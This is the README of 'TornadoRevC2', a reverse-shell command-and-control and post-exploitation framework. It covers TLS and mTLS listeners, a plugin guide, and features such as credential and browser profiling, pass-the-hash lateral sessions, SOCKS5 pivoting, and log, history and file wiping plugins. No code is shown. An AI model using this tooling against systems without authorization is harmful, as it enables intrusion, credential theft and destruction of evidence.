TornadoRevC2

Modular post-exploitation framework managing reverse-shell sessions over TCP/TLS/mTLS with plugins for enumeration, in-memory execution, SOCKS5 pivoting, and persistence.

Introduction

TornadoRevC2 is a modular reverse shell management framework that accepts inbound connections over plain TCP, server-authenticated TLS, and mutual TLS (mTLS) with client-certificate verification, providing a unified operator console for session management, host reconnaissance, chunked file transfer, in-memory payload execution, SOCKS5 pivoting, plugin-driven post-exploitation, structured reporting, and a built-in update command for automatic Git-based updates and seamless handler restarts. Originally developed as a lightweight reverse shell handler, the project has evolved into an extensible framework in which capabilities such as firewall enumeration, credential store metadata collection, network mapping, browser profiling, and additional post-exploitation functionality are implemented as independent, modular plugins. The framework also includes the make_token plugin for establishing new C2 sessions via remote protocols (SSH, WinRM, SMB, RDP, WMI, MSSQL) using command-line tools from the operator side, with support for custom ports, NTLM hash authentication, and netexec integration, and an upgrade_mtls plugin that migrates a live session onto the mutual-TLS listener by pushing the handler's client certificate bundle to the target.

Supported target platforms: Linux and Windows (primary), with compatibility for generic Unix and BSD environments where applicable.

Key Features

Not supported: Task scheduling, or beacon-style callback infrastructure.

Design Philosophy

TornadoRevC2 is engineered for environments where deployment friction and operational footprint matter.

Dependency-light, native-command design

Plugins leverage native Windows and Linux utilities and built-in system commands already present on the target host—netsh, ss, iptables, ufw, firewall-cmd, nft, PowerShell cmdlets, nmcli, wevtutil, and others. Collectors invoke these tools through the reverse shell channel and parse output remotely, minimizing the need to upload additional binaries or install dependencies.

No target-side artifact drops

Plugin operations execute through the existing reverse shell channel and do not require dropping binaries, executables, scripts, or temporary files onto the target system. Enumeration tasks run as native commands or in-process collector scripts; results return as marked JSON over the shell. The only unavoidable artifact is normal command history generated by the shell itself.

Graceful degradation

When an enumeration routine fails, is unavailable, or times out, the plugin does not abort entirely. The affected section is left empty or marked N/A while the remainder of the report continues.

Operator-side maintenance

Handler updates are delivered through Git on the operator machine. The update command uses bounded subprocess timeouts, non-interactive Git settings, and a fast local shutdown path so the handler can restart reliably without blocking on remote session cleanup.

Architecture

Listener Configuration

TornadoRevC2 runs three independent listeners simultaneously, so implants can connect over plaintext, server-authenticated TLS, or mutually authenticated TLS depending on the engagement's threat model:

The -H flag sets the bind address shared by all three listeners. All three can be enabled at once; disabling one is not currently required — leave the port free or unbound to ignore it.

Automatic certificate generation. On first launch the handler creates two isolated directories and bootstraps the material it needs:

Plugin Layout

Shared plugins (firewall, ports, browser, credstore, and others) exist as single unified modules in shared/. Platform-specific plugins such as rdp and eventlogdel reside exclusively under windows/ or linux/ and are not duplicated in shared/.

Collectors emit JSON wrapped in marker tokens (__T_PLUGIN_START__ / __T_PLUGIN_END__). The shared runner parses this output, formats an operator-facing report, and persists results under the session log directory.

Requirements & Installation

Handler (operator machine):

• Python 3.7 or later
• OpenSSL (for automatic TLS and mTLS certificate generation)
• Git (optional; required for the update operator command)
• No third-party Python packages required

Quick Start

1. Start the handler

2. Establish a session

Deploy a reverse shell from the built-in catalog (payloads) or use your own implant. On connect, TornadoRevC2 assigns a session ID and begins logging under logs/.

3. Operate

When attached via switch <ID>, omit the session ID from subsequent commands (run quickenum instead of run quickenum 1). Plugin listings and TAB completion inside a client session are filtered to plugins compatible with that session's platform.

The update command is available from the main handler prompt only. It verifies that Git is installed, confirms the installation is a Git working tree, fetches from the configured remote, fast-forward pulls when updates exist, and restarts the handler with the same executable and arguments. If the installation is already current, it prints TornadoRevC2 is already running the latest version. and leaves the server running.

Operator Reference

Session management

Plugins

File transfer

In-memory execution

Supported types: py, ps, exe, elf, bat, sh

Network pivoting

General

Built-in Plugins

TornadoRevC2 ships with 51 built-in plugins organized by function. All enumeration related plugins are read-only unless noted otherwise.

Host assessment & environment

Network & connectivity

Credentials, browsers & applications

Host internals

Windows domain & system

Execution & operational

In-memory execution methods:

PEASS-ng scripts for in-memory privesccheck: github.com/carlospolop/PEASS-ng

Plugin Development

This section describes how to extend TornadoRevC2 with custom plugins. Plugins are plain Python modules that register commands with @plugin.command and receive a SessionContext for the target session. No changes to core handler code are required.

Plugin system overview

The plugin system has four layers:

At import time, the @plugin.command decorator registers each handler in a thread-safe global registry. At runtime, PluginManager.run_plugin() validates platform compatibility, constructs a SessionContext, and calls the handler with (session, args).

Handlers return an integer exit code: 0 for success, non-zero for failure. The handler console displays warnings for non-zero returns.

Plugin placement

Choose a location based on platform scope and whether the plugin ships with the project:

Layout rules:

• Files named common.py, runner.py, and __init__.py under shared/ are skipped during discovery.
• Files starting with _ under linux/ or windows/ are helper modules, not plugins.
• Shared plugins must be a single module in shared/ with internal platform branching—do not duplicate cross-platform plugins in both shared/ and linux//windows/.
• Platform-specific plugins (e.g. rdp, eventlogdel) belong exclusively in windows/ or linux/.

Registration

Register a command with the @plugin.command decorator:

Platform values: linux, windows, unix. Linux and unix are treated as compatible— a plugin registered for linux runs on both. Default if omitted: ["linux", "windows", "unix"].

Multiple commands per module: A single file may register several commands by applying @plugin.command to multiple functions. Each gets an independent name.

Execution lifecycle

When an operator runs run myplugin 1 arg1 arg2:

Inside an attached session (switch <ID>), the session ID is omitted and args start immediately after the plugin name: run myplugin arg1 arg2.

Pattern 1: Simple shell plugin

Use when you need a quick one-off command without structured JSON parsing. The handler runs a native shell command, prints output, and logs the result.

When to use: Simple probes, one-liner enumeration, commands that do not need structured reports.

Key methods: session.run_shell(cmd, timeout), session.print(text, color), session.log_plugin_result(name, report, detail='').

Pattern 2: Structured collector (recommended)

Use for enumeration plugins that gather structured data on the target and return a formatted report. This is the pattern used by all built-in reconnaissance plugins (firewall, ports, browser, etc.).

Flow:

Minimal cross-platform example:

run_collector_plugin parameters:

Pass None for a platform builder to mark the plugin unavailable on that OS (see Platform-specific plugins).

After saving an external plugin:

Pattern 3: Custom handler

Use when you need argument validation, dynamic collector construction, post-collector processing, or operator-side file handling that run_collector_plugin does not cover alone.

Examples in the codebase:

Argument validation example (from memorymap):

Post-collector processing example (from historydel):

For direct access to marked execution without the full collector wrapper, use _run_collector_marked and parse_collector_json from plugins/shared/runner.py.

Linux collectors

Linux collectors are Python source strings executed on the target via build_linux_collector_command().

Structure:

1. Define _linux_collector_source() returning a raw string (r'''...''').
2. Write collector logic that builds a result dict.
3. Call _emit(result) at the end — never print markers manually.
4. Wrap with _build_linux_command() → build_linux_collector_command(source).

The wrapper in linux/_helpers.py automatically:

• Indents your source inside a try/except block
• Defines _emit(obj) to write __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
• Emits {"error": "...", "traceback": "..."} on unhandled exceptions
• Encodes the script for inline execution via python3 -c (or python2 fallback)
• Falls back to chunked /tmp staging only when the encoded payload exceeds ~4000 bytes

Prefer native commands:

Guidelines:

• Use subprocess.check_output(..., timeout=N) for every external command.
• Trim large lists before emitting (cap at 50–80 entries).
• Handle missing tools gracefully—leave sections empty rather than raising.
• Avoid embedding marker strings in output; the history plugin scrubs __T_PLUGIN_*__ from collected text for this reason.
• Keep collectors compact to stay under the inline size limit and avoid /tmp staging.

Windows collectors

Windows collectors are PowerShell script strings returned from _build_windows_command().

Structure:

Guidelines:

• Always set $ErrorActionPreference='SilentlyContinue' at the top.
• Use -EA 0 (ErrorAction SilentlyContinue) on cmdlets that may fail on older systems.
• Brace-doubling is required inside Python f-strings and raw f-strings: {{ and }} for PowerShell hashtables and script blocks.
• Use [ordered]@{{...}} to preserve key order in JSON output.
• Prefer built-in cmdlets (Get-NetTCPConnection, Get-Process, netsh, wevtutil) over external tools.
• Wrap each logical section in its own try/catch so one failure does not abort the entire collector.
• On interactive PowerShell sessions, scripts are delivered in-process via win_client.py for reliable output capture.

Alternative: For Windows-only plugins with minimal entry points, use a single build_command() function:

JSON payload conventions

Collectors should return a JSON-serializable dict. The runner and formatters expect consistent key usage:

Graceful degradation: For multi-section enumeration, use separate dict keys per section and catch exceptions locally. Do not set top-level error unless the entire collector failed—partial results are preferable.

Custom formatters

Pass a custom formatter to run_collector_plugin instead of format_generic_report:

Reusable helpers in plugins/shared/common.py:

Platform-specific plugins

Windows-only:

Linux-only:

Cross-platform with split builders:

Some shared plugins delegate to platform-specific builder modules (e.g. virtualization imports from linux/virtualization.py and windows/virtualization.py). The @plugin.command entry point stays in shared/; builder modules under linux/ or windows/ contain no decorator and are not registered as independent plugins.

External plugins

External plugins let you extend TornadoRevC2 without modifying the repository.

Setup:

Workflow:

External vs built-in lifecycle:

External modules are imported as tornado_ext_plugin_<name> to avoid namespace collisions.

SessionContext API

Every handler receives a SessionContext wrapping the handler and client socket:

Metadata properties:

Execution methods:

Transfer methods:

Logging and output:

Error handling & return codes

Collector failure modes (handled by run_collector_plugin):

Soft failures (operational plugins): Use reason or ok: false and handle in a custom formatter or custom handler rather than relying on the runner's hard error check.

Best practices

1. Prefer native OS commands over uploaded tooling—aligns with the framework's dependency-light design.
2. Do not write files on the target for enumeration; return data over the shell channel. Operational plugins (wiper, historydel) are exceptions with clear purpose.
3. Degrade gracefully — probe each backend independently; empty sections beat total failure.
4. Cap output size — trim lists to 50–80 items; truncate long strings to 200–500 characters.
5. Set realistic timeouts — quick probes: 15–30s; comprehensive enumeration: 45–75s.
6. Log consistently — call session.log_event() at start, session.log_plugin_result() on completion, session.log_command() for transcript export.
7. Validate args early — return 1 with usage message before sending anything to the target.
8. Test from both consoles — main handler (run plugin <ID>) and attached session (switch then run plugin).
9. Use plugins reload during development to pick up changes without restarting the handler.
10. Scrub sensitive markers from collected output if your plugin reads arbitrary file content.

Reference implementations

For new enumeration plugins, start from run_collector_plugin in plugins/shared/runner.py and copy the layout from firewall.py or ports.py. For plugins with arguments or side effects, refer to memorymap.py or wiper.py.

Session Logging

Each session writes to an isolated directory under logs/:

Plugin logs contain a human-readable report and, when applicable, the raw JSON payload returned by the remote collector.

Project Structure

TLS & mTLS Configuration

TornadoRevC2 runs three isolated listeners, each with its own certificate source. Everything under tls_certs/ and mtls_certs/ is auto-generated on first run and never overwritten.

TLS

Auto-generated as a self-signed pair (CN=localhost, RSA-2048, 3650 days).

To supply your own:

If the client connects using an IP address, the server certificate should include that IP in its Subject Alternative Name (SAN). Avoid disabling hostname verification unless there is a specific reason to do so.

mTLS

On first run, a full PKI is bootstrapped under mtls_certs/:

• ca.pem / ca.key — self-signed CA (RSA-4096, CN=TornadoRevC2-mTLS-CA)
• server-mtls.pem / server-mtls.key — server certificate signed by the CA
• client.pem / client.key — client certificate signed by the CA
• ca.srl — OpenSSL serial counter generated during certificate signing

Ship client.pem + client.key + ca.pem with the authorized client. The client must present its certificate on connect or the handshake is rejected.

Start with explicit paths:

Upgrading a live session to mTLS

Existing sessions on plain TCP or server-auth TLS can be moved onto the mTLS listener without restarting the handler. The upgrade_mtls plugin uploads client.pem, client.key, and ca.pem to the target, launches a background shell that presents the client certificate, and (by default) removes the bundle from disk once the new session is up.

Flags

License

This project is licensed under the GNU General Public License v3.0.